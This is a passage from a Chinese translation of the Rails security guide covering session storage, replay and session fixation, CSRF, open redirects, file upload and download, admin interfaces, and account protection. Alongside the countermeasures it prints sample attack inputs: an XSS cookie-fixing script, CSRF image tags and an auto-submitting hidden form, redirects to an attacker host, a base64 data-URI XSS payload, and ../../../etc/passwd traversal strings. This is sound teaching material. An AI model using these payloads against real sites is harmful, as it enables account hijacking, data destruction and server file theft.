大多数攻击者的主要目标是赚钱。根据赛门铁克《互联网安全威胁报告》,被窃取的银行登录账户的黑市价格从 10 到 1000 美元不等(取决于账户余额),信用卡卡号为 0.40 到 20 美元,在线拍卖网站的账户为 1 到 8 美元,电子邮件账户密码为 4 到 30 美元。

2.4 会话安全指南

下面是一些关于会话安全的一般性指南。

+
    +
  • 不要在会话中储存大型对象,而应该把它们储存在数据库中,并将其 ID 保存在会话中。这么做可以避免同步问题,并且不会导致会话存储空间耗尽(会话存储空间的大小取决于其类型,详见后文)。如果不这么做,当修改了对象结构时,用户 cookie 中保存的仍然是对象的旧版本。通过在服务器端储存会话,我们可以轻而易举地清除会话,而在客户端储存会话,要想清除会话就很麻烦了。
  • +
  • 关键数据不应该储存在会话中。如果用户清除了 cookie 或关闭了浏览器,这些关键数据就会丢失。而且,在客户端储存会话,用户还能读取关键数据。
  • +
+

2.5 会话存储

Rails 提供了几种会话散列的存储机制。其中最重要的是 ActionDispatch::Session::CookieStore

Rails 2 引入了一种新的默认会话存储机制——CookieStore。CookieStore 把会话散列直接储存在客户端的 cookie 中。无需会话 ID,服务器就可以从 cookie 中取回会话散列。这么做可以显著提高应用的运行速度,但也存在争议,因为这种存储机制具有下列安全隐患:

+
    +
  • cookie 的大小被严格限制为 4 KB。这个限制本身没问题,因为如前文所述,本来就不应该在会话中储存大量数据。在会话中储存当前用户的数据库 ID 一般没问题。
  • +
  • 客户端可以看到储存在会话中的所有内容,因为数据是以明文形式储存的(实际上是 Base64 编码,因此没有加密)。因此,我们不应该在会话中储存隐私数据。为了防止会话散列被篡改,应该根据服务器端密令(secrets.secret_token)计算会话的摘要(digest),然后把这个摘要添加到 cookie 的末尾。
  • +
+

不过,从 Rails 4 开始,默认存储机制是 EncryptedCookieStore。EncryptedCookieStore 会先对会话进行加密,再储存到 cookie 中。这么做可以防止用户访问和篡改 cookie 的内容。因此,会话也成为储存数据的更安全的地方。加密时需要使用 config/secrets.yml 文件中储存的服务器端密钥 secrets.secret_key_base

这意味着 EncryptedCookieStore 存储机制的安全性由密钥(以及摘要算法,出于兼容性考虑默认为 SHA1 算法)决定。因此,密钥不能随意取值,例如从字典中找一个单词,或少于 30 个字符,而应该使用 rails secret 命令生成。

secrets.secret_key_base 用于指定密钥,在应用中会话使用这个密钥来验证已知密钥,以防被篡改。在创建应用时,config/secrets.yml 文件中储存的 secrets.secret_key_base 是一个随机密钥,例如:

+
+development:
+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+
+
+

Rails 老版本中的 CookieStore 使用的是 secret_token,而不是 EncryptedCookieStore 所使用的 secret_key_base。更多介绍请参阅升级文档。

如果应用的密钥泄露了(例如应用开放了源代码),强烈建议更换密钥。

2.6 对 CookieStore 会话的重放攻击

重放攻击(replay attack)是使用 CookieStore 时必须注意的另一种攻击方式。

重放攻击的工作原理如下:

+
    +
  • 用户获得的信用额度保存在会话中(信用额度实际上不应该保存在会话中,这里只是出于演示目的才这样做);
  • +
  • 用户使用部分信用额度购买商品;
  • +
  • 减少后的信用额度仍然保存在会话中;
  • +
  • 用户先前复制了第一步中的 cookie,并用这个 cookie 替换浏览器中的当前 cookie;
  • +
  • 用户重新获得了消费前的信用额度。
  • +
+

在会话中包含随机数可以防止重放攻击。每个随机数验证一次后就会失效,服务器必须跟踪所有有效的随机数。当有多个应用服务器时,情况会变得更复杂,因为我们不能把随机数储存在数据库中,否则就违背了使用 CookieStore 的初衷(避免访问数据库)。

因此,防止重放攻击的最佳方案,不是把这类敏感数据储存在会话中,而是把它们储存在数据库中。回到上面的例子,我们可以把信用额度储存在数据库中,而把当前用户的 ID 储存在会话中。

2.7 会话固定攻击

除了窃取用户的会话 ID 之外,攻击者还可以直接使用已知的会话 ID。这种攻击方式被称为会话固定(session fixation)攻击。

session fixation

会话固定攻击的关键是强制用户的浏览器使用攻击者已知的会话 ID,这样攻击者就无需窃取会话 ID。会话固定攻击的工作原理如下:

+
    +
  • 攻击者创建一个有效的会话 ID:打开 Web 应用的登录页面,从响应中获取 cookie 中的会话 ID(参见上图中的第 1 和第 2 步)。
  • +
  • 攻击者定期访问 Web 应用,以避免会话过期。
  • +
  • 攻击者强制用户的浏览器使用这个会话 ID(参见上图中的第 3 步)。由于无法修改另一个域名的 cookie(基于同源原则的限制),攻击者必须在目标 Web 应用的域名上运行 JavaScript,也就是通过 XSS 把 JavaScript 注入目标 Web 应用来完成攻击。例如:<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。关于 XSS 和注入的更多介绍见后文。
  • +
  • 攻击者诱使用户访问包含恶意 JavaScript 代码的页面,这样用户的浏览器中的会话 ID 就会被篡改为攻击者已知的会话 ID。
  • +
  • 由于这个被篡改的会话还未使用过,Web 应用会进行身份验证。
  • +
  • 此后,用户和攻击者将共用同一个会话来访问 Web 应用。攻击者篡改后的会话成为了有效会话,用户面对攻击却浑然不知。
  • +
+

2.8 会话固定攻击的对策

一行代码就能保护我们免受会话固定攻击。

面对会话固定攻击,最有效的对策是在登录成功后重新设置会话 ID,并使原有会话 ID 失效,这样攻击者持有的会话 ID 也就失效了。这也是防止会话劫持的有效对策。在 Rails 中重新设置会话 ID 的方式如下:

+
+reset_session
+
+
+
+

如果使用流行的 Devise gem 管理用户,Devise 会在用户登录和退出时自动使原有会话过期。如果打算手动完成用户管理,请记住在登录操作后(新会话创建后)使原有会话过期。会话过期后其中的值都会被删除,因此我们需要把有用的值转移到新会话中。

另一个对策是在会话中保存用户相关的属性,对于每次请求都验证这些属性,如果信息不匹配就拒绝访问。这些属性包括 IP 地址、用户代理(Web 浏览器名称),其中用户代理的用户相关性要弱一些。在保存 IP 地址时,必须注意,有些网络服务提供商(ISP)或大型组织,会把用户置于代理服务器之后。在会话的生命周期中,这些代理服务器有可能发生变化,从而导致用户无法正常使用应用,或出现权限问题。

2.9 会话过期

永不过期的会话增加了跨站请求伪造(CSRF)、会话劫持和会话固定攻击的风险。

cookie 的过期时间可以通过会话 ID 设置。然而,客户端能够修改储存在 Web 浏览器中的 cookie,因此在服务器上使会话过期更安全。下面的例子演示如何使储存在数据库中的会话过期。通过调用 Session.sweep("20 minutes"),可以使闲置超过 20 分钟的会话过期。

+
+class Session < ApplicationRecord
+  def self.sweep(time = 1.hour)
+    if time.is_a?(String)
+      time = time.split.inject { |count, unit| count.to_i.send(unit) }
+    end
+
+    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+  end
+end
+
+
+
+

会话固定攻击介绍了维护会话的问题。攻击者每五分钟维护一次会话,就可以使会话永远保持活动,不至过期。针对这个问题的一个简单解决方案是在会话数据表中添加 created_at 字段,这样就可以找出创建了很长时间的会话并删除它们。可以用下面这行代码代替上面例子中的对应代码:

+
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+
+
+
+

3 跨站请求伪造(CSRF)

跨站请求伪造的工作原理是,通过在页面中包含恶意代码或链接,访问已验证用户才能访问的 Web 应用。如果该 Web 应用的会话未超时,攻击者就能执行未经授权的操作。

csrf

会话中,我们了解到大多数 Rails 应用都使用基于 cookie 的会话。它们或者把会话 ID 储存在 cookie 中并在服务器端储存会话散列,或者把整个会话散列储存在客户端。不管是哪种情况,只要浏览器能够找到某个域名对应的 cookie,就会自动在发送请求时包含该 cookie。有争议的是,即便请求来源于另一个域名上的网站,浏览器在发送请求时也会包含客户端的 cookie。让我们来看个例子:

+
    +
  • Bob 在访问留言板时浏览了一篇黑客发布的帖子,其中有一个精心设计的 HTML 图像元素。这个元素实际指向的是 Bob 的项目管理应用中的某个操作,而不是真正的图像文件:<img src="http://www.webapp.com/project/1/destroy">
  • +
  • Bob 在 www.webapp.com 上的会话仍然是活动的,因为几分钟前他访问这个应用后没有退出。
  • +
  • 当 Bob 浏览这篇帖子时,浏览器发现了这个图像标签,于是尝试从 www.webapp.com 中加载图像。如前文所述,浏览器在发送请求时包含 cookie,其中就有有效的会话 ID。
  • +
  • www.webapp.com 上的 Web 应用会验证对应会话散列中的用户信息,并删除 ID 为 1 的项目,然后返回结果页面。由于返回的并非浏览器所期待的结果,图像无法显示。
  • +
  • Bob 当时并未发觉受到了攻击,但几天后,他发现 ID 为 1 的项目不见了。
  • +
+

有一点需要特别注意,像上面这样精心设计的图像或链接,并不一定要出现在 Web 应用所在的域名上,而是可以出现在任何地方,例如论坛、博客帖子,甚至电子邮件中。

CSRF 在 CVE(Common Vulnerabilities and Exposures,公共漏洞披露)中很少出现,在 2006 年不到 0.1%,但却是个可怕的隐形杀手。对于很多安全保障工作来说,CSRF 是一个严重的安全问题。

3.1 CSRF 对策

首先,根据 W3C 的要求,应该适当地使用 GETPOST HTTP 方法。其次,在非 GET 请求中使用安全令牌(security token)可以防止应用受到 CSRF 攻击。

HTTP 协议提供了两种主要的基本请求类型,GETPOST(还有其他请求类型,但大多数浏览器不支持)。万维网联盟(W3C)提供了检查表,以帮助开发者在 GETPOST 这两个 HTTP 方法之间做出正确选择:

使用 GET HTTP 方法的情形:

+
    +
  • 当交互更像是在询问时,例如查询、读取、查找等安全操作。
  • +
+

使用 POST HTTP 方法的情形:

+
    +
  • 当交互更像是在执行命令时;
  • +
  • 当交互改变了资源的状态并且这种变化能够被用户察觉时,例如订阅某项服务;
  • +
  • 当用户需要对交互结果负责时。
  • +
+

如果应用是 REST 式的,还可以使用其他 HTTP 方法,例如 PATCHPUTDELETE。然而现今的大多数浏览器都不支持这些 HTTP 方法,只有 GETPOST 得到了普遍支持。Rails 通过隐藏的 _method 字段来解决这个问题。

POST 请求也可以自动发送。在下面的例子中,链接 www.harmless.com 在浏览器状态栏中显示为目标地址,实际上却动态新建了一个发送 POST 请求的表单:

+
+<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+
+
+
+

攻击者还可以把代码放在图片的 onmouseover 事件句柄中:

+
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+
+
+
+

CSRF 还有很多可能的攻击方式,例如使用 <script> 标签向返回 JSONP 或 JavaScript 的 URL 地址发起跨站请求。对跨站请求的响应,返回的如果是攻击者可以设法运行的可执行代码,就有可能导致敏感数据泄露。为了避免发生这种情况,必须禁用跨站 <script> 标签。不过 Ajax 请求是遵循同源原则的(只有在同一个网站中才能初始化 XmlHttpRequest),因此在响应 Ajax 请求时返回 JavaScript 是安全的,不必担心跨站请求问题。

注意:我们无法区分 <script> 标签的来源,无法知道这个标签是自己网站上的,还是其他恶意网站上的,因此我们必须全面禁止 <script> 标签,哪怕这个标签实际上来源于自己网站上的安全的同源脚本。在这种情况下,对于返回 JavaScript 的控制器动作,显式跳过 CSRF 保护,就意味着允许使用 <scipt> 标签。

为了防止其他各种伪造请求,我们引入了安全令牌,这个安全令牌只有我们自己的网站知道,其他网站不知道。我们把安全令牌包含在请求中,并在服务器上进行验证。安全令牌在应用的控制器中使用下面这行代码设置,这也是新建 Rails 应用的默认值:

+
+protect_from_forgery with: :exception
+
+
+
+

这行代码会在 Rails 生成的所有表单和 Ajax 请求中包含安全令牌。如果安全令牌验证失败,就会抛出异常。

默认情况下,Rails 自带的非侵入式脚本适配器会在每个非 GET Ajax 调用中添加名为 X-CSRF-Token 的首部,其值为安全令牌。如果没有这个首部,Rails 不会接受非 GET Ajax 请求。使用其他库调用 Ajax 时,同样要在默认首部中添加 X-CSRF-Token。要想获取令牌,请查看应用视图中由 <%= csrf_meta_tags %> 这行代码生成的 <meta name='csrf-token' content='THE-TOKEN'> 标签。

通常我们会使用持久化 cookie 来储存用户信息,例如使用 cookies.permanent。在这种情况下,cookie 不会被清除,CSRF 保护也无法自动生效。如果使用其他 cookie 存储器而不是会话来保存用户信息,我们就必须手动解决这个问题:

+
+rescue_from ActionController::InvalidAuthenticityToken do |exception|
+  sign_out_user # 删除用户 cookie 的示例方法
+end
+
+
+
+

这段代码可以放在 ApplicationController 中。对于非 GET 请求,如果 CSRF 令牌不存在或不正确,就会执行这段代码。

注意,跨站脚本(XSS)漏洞能够绕过所有 CSRF 保护措施。攻击者通过 XSS 可以访问页面中的所有元素,也就是说攻击者可以读取表单中的 CSRF 安全令牌,也可以直接提交表单。更多介绍请参阅 跨站脚本(XSS)

4 重定向和文件

另一类安全漏洞由 Web 应用中的重定向和文件引起。

4.1 重定向

Web 应用中的重定向是一个被低估的黑客工具:攻击者不仅能够把用户的访问跳转到恶意网站,还能够发起独立攻击。

只要允许用户指定 URL 重定向地址(或其中的一部分),就有可能造成风险。最常见的攻击方式是,把用户重定向到假冒的 Web 应用,这个假冒的 Web 应用看起来和真的一模一样。这就是所谓的钓鱼攻击。攻击者发动钓鱼攻击时,或者给用户发送包含恶意链接的邮件,或者通过 XSS 在 Web 应用中注入恶意链接,或者把恶意链接放入其他网站。这些恶意链接一般不会引起用户的怀疑,因为它们以正常的网站 URL 开头,而把恶意网站的 URL 隐藏在重定向参数中,例如 http://www.example.com/site/redirect?to=www.attacker.com。让我们来看一个例子:

+
+def legacy
+  redirect_to(params.update(action:'main'))
+end
+
+
+
+

如果用户访问 legacy 动作,就会被重定向到 main 动作,同时传递给 legacy 动作的 URL 参数会被保留并传递给 main 动作。然而,攻击者通过在 URL 地址中包含 host 参数就可以发动攻击:

+
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+
+
+
+

如果 host 参数出现在 URL 地址末尾,将很难被注意到,从而会把用户重定向到 www.attacker.com 这个恶意网站。一个简单的对策是,在 legacy 动作中只保留所期望的参数(使用白名单,而不是去删除不想要的参数)。对于用户指定的重定向 URL 地址,应该通过白名单或正则表达式进行检查。

4.1.1 独立的 XSS

在 Firefox 和 Opera 浏览器中,通过使用 data 协议,还能发起另一种重定向和独立 XSS 攻击。data 协议允许把内容直接显示在浏览器中,支持的类型包括 HTML、JavaScript 和图像,例如:

+
+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
+
+
+
+

这是一段使用 Base64 编码的 JavaScript 代码,运行后会显示一个消息框。通过这种方式,攻击者可以使用恶意代码把用户重定向到恶意网站。为了防止这种攻击,我们的对策是禁止用户指定 URL 重定向地址。

4.2 文件上传

请确保文件上传时不会覆盖重要文件,同时对于媒体文件应该采用异步上传方式。

很多 Web 应用都允许用户上传文件。由于文件名通常由用户指定(或部分指定),必须对文件名进行过滤,以防止攻击者通过指定恶意文件名覆盖服务器上的文件。如果我们把上传的文件储存在 /var/www/uploads 文件夹中,而用户输入了类似 ../../../etc/passwd 的文件名,在没有对文件名进行过滤的情况下,passwd 这个重要文件就有可能被覆盖。当然,只有在 Ruby 解析器具有足够权限时文件才会被覆盖,这也是不应该使用 Unix 特权用户运行 Web 服务器、数据库服务器和其他应用的原因之一。

在过滤用户输入的文件名时,不要去尝试删除文件名的恶意部分。我们可以设想这样一种情况,Web 应用把文件名中所有的 ../ 都删除了,但攻击者使用的是 ....//,于是过滤后的文件名中仍然包含 ../。最佳策略是使用白名单,只允许在文件名中使用白名单中的字符。黑名单的做法是尝试删除禁止使用的字符,白名单的做法恰恰相反。对于无效的文件名,可以直接拒绝(或者把禁止使用的字符都替换掉),但不要尝试删除禁止使用的字符。下面这个文件名净化程序摘自 attachment_fu 插件:

+
+def sanitize_filename(filename)
+  filename.strip.tap do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.sub! /\A.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+
+
+
+

通过同步方式上传文件(attachment_fu 插件也能用于上传图像)的一个明显缺点是,存在受到拒绝服务攻击(denial-of-service,简称 DoS)的风险。攻击者可以通过很多计算机同时上传图像,这将导致服务器负载增加,并最终导致应用崩溃或服务器宕机。

最佳解决方案是,对于媒体文件采用异步上传方式:保存媒体文件,并通过数据库调度程序处理请求。由另一个进程在后台完成文件上传。

4.3 上传文件中的可执行代码

如果把上传的文件储存在某些特定的文件夹中,文件中的源代码就有可能被执行。因此,如果 Rails 应用的 /public 文件夹被设置为 Apache 的主目录,请不要在这个文件夹中储存上传的文件。

流行的 Apache Web 服务器的配置文件中有一个名为 DocumentRoot 的选项,用于指定网站的主目录。主目录及其子文件夹中的所有内容都由 Web 服务器直接处理。如果其中包含一些具有特定扩展名的文件,就能够通过 HTTP 请求执行这些文件中的代码(可能还需要设置一些选项),例如 PHP 和 CGI 文件。假设攻击者上传了 file.cgi 文件,其中包含可执行代码,那么之后有人下载这个文件时,里面的代码就会在服务器上执行。

如果 Apache 的 DocumentRoot 选项指向 Rails 的 /public 文件夹,请不要在其中储存上传的文件,至少也应该储存在子文件夹中。

4.4 文件下载

请确保用户不能随意下载文件。

正如在上传文件时必须过滤文件名,在下载文件时也必须进行过滤。send_file() 方法用于把服务器上的文件发送到客户端。如果传递给 send_file() 方法的文件名参数是由用户输入的,却没有进行过滤,用户就能够下载服务器上的任何文件:

+
+send_file('/var/www/uploads/' + params[:filename])
+
+
+
+

可以看到,只要指定 ../../../etc/passwd 这样的文件名,用户就可以下载服务器登录信息。对此,一个简单的解决方案是,检查所请求的文件是否在规定的文件夹中:

+
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, disposition: 'inline'
+
+
+
+

另一个(附加的)解决方案是在数据库中储存文件名,并以数据库中的记录 ID 作为文件名,把文件保存到磁盘。这样做还能有效防止上传的文件中的代码被执行。attachment_fu 插件的工作原理类似。

5 局域网和管理界面的安全

由于具有访问特权,局域网和管理界面成为了常见的攻击目标。因此理应为它们采取多种安全防护措施,然而实际情况却不理想。

2007 年,第一个在局域网中窃取信息的专用木马出现了,它的名字叫“员工怪兽”(Monster for employers),用于攻击在线招聘网站 Monster.com。专用木马非常少见,迄今为止造成的安全风险也相当低,但这种攻击方式毕竟是存在的,说明客户端的安全问题不容忽视。然而,对局域网和管理界面而言,最大的安全威胁来自 XSS 和 CSRF。

XSS

如果在应用中显示了来自外网的恶意内容,应用就有可能受到 XSS 攻击。例如用户名、用户评论、垃圾信息报告、订单地址等等,都有可能受到 XSS攻击。

在局域网和管理界面中,只要有一个地方没有对输入进行过滤,整个应用就有可能受到 XSS 攻击。可能发生的攻击包括:窃取具有特权的管理员的 cookie、注入 iframe 以窃取管理员密码,以及通过浏览器漏洞安装恶意软件以控制管理员的计算机。

关于 XSS 攻击的对策,请参阅 注入攻击

CSRF

跨站请求伪造(CSRF),也称为跨站引用伪造(XSRF),是一种破坏性很强的攻击方法,它允许攻击者完成管理员或局域网用户可以完成的一切操作。前文我们已经介绍过 CSRF 的工作原理,下面是攻击者针对局域网和管理界面发动 CSRF 攻击的几个例子。

一个真实的案例是通过 CSRF 攻击重新设置路由器。攻击者向墨西哥用户发送包含 CSRF 代码的恶意电子邮件。邮件声称用户收到了一张电子贺卡,其中包含一个能够发起 HTTP GET 请求的图像标签,以便重新设置用户的路由器(针对一款在墨西哥很常见的路由器)。攻击改变了路由器的 DNS 设置,当用户访问墨西哥境内银行的网站时,就会被带到攻击者的网站。通过受攻击的路由器访问银行网站的所有用户,都会被带到攻击者的假冒网站,最终导致用户的网银账号失窍。

另一个例子是修改 Google Adsense 账户的电子邮件和密码。一旦受害者登录 Google Adsense,打算对自己投放的 Google 广告进行管理,攻击者就能够趁机修改受害者的登录信息。

还有一种常见的攻击方式是在 Web 应用中大量发布垃圾信息,通过博客、论坛来传播 XSS 恶意脚本。当然,攻击者还得知道 URL 地址的结构才能发动攻击,但是大多数 Rails 应用的 URL 地址结构都很简单,很容易就能搞清楚,对于开源应用的管理界面更是如此。通过包含恶意图片标签,攻击者甚至可以进行上千次猜测,把 URL 地址结构所有可能的组合都尝试一遍。

关于针对局域网和管理界面发动的 CSRF 攻击的对策,请参阅 CSRF 对策

5.1 其他预防措施

通用管理界面的一般工作原理如下:通过 www.example.com/admin 访问,访问仅限于 User 模型的 admin 字段设置为 true 的用户。管理界面中会列出用户输入的数据,管理员可以根据需要对数据进行删除、添加或修改。下面是关于管理界面的一些参考意见:

+
    +
  • 考虑最坏的情况非常重要:如果有人真的得到了用户的 cookie 或账号密码怎么办?可以为管理界面引入用户角色权限设计,以限制攻击者的权限。或者为管理界面启用特殊的登录账号密码,而不采用应用的其他部分所使用的账号密码。对于特别重要的操作,还可以要求用户输入专用密码。
  • +
  • 管理员真的有可能从世界各地访问管理界面吗?可以考虑对登录管理界面的 IP 段进行限制。用户的 IP 地址可以通过 request.remote_ip 获取。这个解决方案虽然不能说万无一失,但确实为管理界面筑起了一道坚实的防线。不过在实际操作中,还要注意用户是否使用了代理服务器。
  • +
  • 通过专用子域名访问管理界面,如 admin.application.com,并为管理界面建立独立的应用和账户系统。这样,攻击者就无法从日常使用的域名(如 www.application.com)中窃取管理员的 cookie。其原理是:基于浏览器的同源原则,在 www.application.com 中注入的 XSS 脚本,无法读取 admin.application.com 的 cookie,反之亦然。
  • +
+

6 用户管理

几乎每个 Web 应用都必须处理授权和身份验证。自己实现这些功能并非首选,推荐的做法是使用插件。但在使用插件时,一定要记得及时更新。此外,还有一些预防措施可以使我们的应用更安全。

Rails 有很多可用的身份验证插件,其中有不少佳作,例如 deviseauthlogic。这些插件只储存加密后的密码,而不储存明文密码。从 Rails 3.1 起,我们可以使用实现了类似功能的 has_secure_password 内置方法。

每位新注册用户都会收到一封包含激活码和激活链接的电子邮件,以便激活账户。账户激活后,该用户的数据库记录的 activation_code 字段会被设置为 NULL。如果有人访问了下列 URL 地址,就有可能以数据库中找到的第一个已激活用户的身份登录(有可能是管理员):

+
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+
+
+
+

之所以出现这种可能性,是因为对于某些服务器,ID 参数 params[:id] 的值是 nil,而查找激活码的代码如下:

+
+User.find_by_activation_code(params[:id])
+
+
+
+

当 ID 参数为 nil 时,生成的 SQL 查询如下:

+
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+
+
+
+

因此,查询结果是数据库中的第一个已激活用户,随后将以这个用户的身份登录。关于这个问题的更多介绍,请参阅这篇博客文章。在使用插件时,建议及时更新。此外,通过代码审查可以找出应用的更多类似缺陷。

6.1 暴力破解账户

对账户的暴力攻击是指对登录的账号密码进行试错攻击。通过显示较为模糊的错误信息、要求输入验证码等方式,可以增加暴力破解的难度。

Web 应用的用户名列表有可能被滥用于暴力破解密码,因为大多数用户并没有使用复杂密码。大多数密码是字典中的单词组合,或单词和数字的组合。有了用户名列表和字典,自动化程序在几分钟内就可能找到正确密码。

因此,如果登录时用户名或密码不正确,大多数 Web 应用都会显示较为模糊的错误信息,如“用户名或密码不正确”。如果提示“未找到您输入的用户名”,攻击者就可以根据错误信息,自动生成精简后的有效用户名列表,从而提高攻击效率。

不过,容易被大多数 Web 应用设计者忽略的,是忘记密码页面。通过这个页面,通常能够确认用户名或电子邮件地址是否有效,攻击者可以据此生成用于暴力破解的用户名列表。

为了规避这种攻击,忘记密码页面也应该显示较为模糊的错误信息。此外,当某个 IP 地址多次登录失败时,可以要求输入验证码。但是要注意,这并非防范自动化程序的万无一失的解决方案,因为这些程序可能会频繁更换 IP 地址,不过毕竟还是筑起了一道防线。

6.2 账户劫持

对很多 Web 应用来说,实施账户劫持是一件很容易的事情。既然这样,为什么不尝试改变,想办法增加账户劫持的难度呢?

6.2.1 密码

假设攻击者窃取了用户会话的 cookie,从而能够像用户一样使用应用。此时,如果修改密码很容易,攻击者只需点击几次鼠标就能劫持该账户。另一种可能性是,修改密码的表单容易受到 CSRF 攻击,攻击者可以诱使受害者访问包含精心设计的图像标签的网页,通过 CSRF 窃取密码。针对这种攻击的对策是,在修改密码的表单中加入 CSRF 防护,同时要求用户在修改密码时先输入旧密码。

6.2.2 电子邮件

然而,攻击者还能通过修改电子邮件地址来劫持账户。一旦攻击者修改了账户的电子邮件地址,他们就会进入忘记密码页面,通过新邮件地址接收找回密码邮件。针对这种攻击的对策是,要求用户在修改电子邮件地址时同样先输入旧密码。

6.2.3 其他

针对不同的 Web 应用,还可能存在更多的劫持用户账户的攻击方式。这些攻击方式大都借助于 CSRF 和 XSS,例如 Gmail 的 CSRF 漏洞。在这种概念验证攻击中,攻击者诱使受害者访问自己控制的网站,其中包含了精心设计的图像标签,然后通过 HTTP GET 请求修改 Gmail 的过滤器设置。如果受害者已经登录了 Gmail,攻击者就能通过修改后的过滤器把受害者的所有电子邮件转发到自己的电子邮件地址。这种攻击的危害性几乎和劫持账户一样大。针对这种攻击的对策是,通过代码审查封堵所有 XSS 和 CSRF 漏洞。

6.3 验证码

验证码是一种质询-响应测试,用于判断响应是否由计算机生成。验证码要求用户输入变形图片中的字符,以防恶意注册和发布垃圾评论。验证码又分为积极验证码和消极验证码。消极验证码的思路不是证明用户是人类,而是证明机器人是机器人。

reCAPTCHA 是一种流行的积极验证码 API,它会显示两张来自古籍的单词的变形图像,同时还添加了弯曲的中划线。相比之下,早期的验证码仅使用了扭曲的背景和高度变形的文本,所以后来被破解了。此外,使用 reCAPTCHA 同时是在为古籍数字化作贡献。和 reCAPTCHA API 同名的 reCAPTCHA 是一个 Rails 插件。

reCAPTCHA API 提供了公钥和私钥两个密钥,它们应该在 Rails 环境中设置。设置完成后,我们就可以在视图中使用 recaptcha_tags 方法,在控制器中使用 verify_recaptcha 方法。如果验证码验证失败,verify_recaptcha 方法返回 false。验证码的缺点是影响用户体验。并且对于视障用户,有些变形的验证码难以看清。尽管如此,积极验证码仍然是防止各种机器人提交表单的最有效的方法之一。

大多数机器人都很笨拙,它们在网上爬行,并在找到的每一个表单字段中填入垃圾信息。消极验证码正是利用了这一点,只要通过 JavaScript 或 CSS 在表单中添加隐藏的“蜜罐”字段,就能发现那些机器人。

注意,消极验证码只能有效防范笨拙的机器人,对于那些针对关键应用的专用机器人就力不从心了。不过,通过组合使用消极验证码和积极验证码,可以获得更好的性能表现。例如,如果“蜜罐”字段不为空(发现了机器人),再验证积极验码就没有必要了,从而避免了向 Google ReCaptcha 发起 HTTPS 请求。

通过 JavaScript 或 CSS 隐藏“蜜罐”字段有下面几种思路:

+
    +
  • 把字段置于页面的可见区域之外;
  • +
  • 使元素非常小或使它们的颜色与页面背景相同;
  • +
  • 仍然显示字段,但告诉用户不要填写。
  • +
+

最简单的消极验证码是一个隐藏的“蜜罐”字段。在服务器端,我们需要检查这个字段的值:如果包含任何文本,就说明请求来自机器人。然后,我们可以直接忽略机器人提交的表单数据。也可以提示保存成功但实际上并不写入数据库,这样被愚弄的机器人就会自动离开了。对于不受欢迎的用户,也可以采取类似措施。

Ned Batchelder 在一篇博客文章中介绍了更复杂的消极验证码:

+
    +
  • 在表单中包含带有当前 UTC 时间戳的字段,并在服务器端检查这个字段。无论字段中的时间过早还是过晚,都说该明表单不合法;
  • +
  • 随机生成字段名;
  • +
  • 包含各种类型的多个“蜜罐”字段,包括提交按钮。
  • +
+

注意,消极验证码只能防范自动机器人,而不能防范专用机器人。因此,消极验证码并非保护登录表单的最佳方案。

6.4 日志

告诉 Rails 不要把密码写入日志。

默认情况下,Rails 会记录 Web 应用收到的所有请求。但是日志文件也可能成为巨大的安全隐患,因为其中可能包含登录的账号密码、信用卡号码等。当我们考虑 Web 应用的安全性时,我们应该设想攻击者完全获得 Web 服务器访问权限的情况。如果在日志文件中可以找到密钥和密码的明文,在数据库中对这些信息进行加密就变得毫无意义。在应用配置文件中,我们可以通过设置 config.filter_parameters 选项,指定写入日志时需要过滤的请求参数。在日志中,这些被过滤的参数会显示为 [FILTERED]

+
+config.filter_parameters << :password
+
+
+
+

通过正则表达式,与配置中指定的参数部分匹配的所有参数都会被过滤掉。默认情况下,Rails 已经在初始化脚本(initializers/filter_parameter_logging.rb)中指定了 :password 参数,因此应用中常见的 passwordpassword_confirmation 参数都会被过滤。

6.5 好的密码

你是否发现,要想记住所有密码太难了?请不要因此把所有密码都完整地记下来,我们可以使用容易记住的句子中单词的首字母作为密码。

安全技术专家 Bruce Schneier 通过分析后文提到的 MySpace 钓鱼攻击中 34,000 个真实的用户名和密码,发现绝大多数密码非常容易破解。其中最常见的 20 个密码是:

+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, monkey
+
+
+
+

有趣的是,这些密码中只有 4% 是字典单词,绝大多数密码实际是由字母和数字组成的。不过,用于破解密码的字典中包含了大量目前常用的密码,而且攻击者还会尝试各种字母数字的组合。如果我们使用弱密码,一旦攻击者知道了我们的用户名,就能轻易破解我们的账户。

好的密码是混合使用大小写字母和数字的长密码。但这样的密码很难记住,因此我们可以使用容易记住的句子中单词的首字母作为密码。例如,“The quick brown fox jumps over the lazy dog”对应的密码是“Tqbfjotld”。当然,这里只是举个例子,实际在选择密码时不应该使用这样的名句,因为用于破解密码的字典中很可能包含了这些名句对应的密码。

6.6 正则表达式

在使用 Ruby 的正则表达式时,一个常见错误是使用 ^$ 分别匹配字符串的开头和结尾,实际上正确的做法是使用 \A\z

Ruby 的正则表达式匹配字符串开头和结尾的方式与很多其他语言略有不同。甚至很多 Ruby 和 Rails 的书籍都把这个问题搞错了。那么,为什么这个问题会造成安全威胁呢?让我们看一个例子。如果想要不太严谨地验证 URL 地址,我们可以使用下面这个简单的正则表达式:

+
+/^https?:\/\/[^\n]+$/i
+
+
+
+
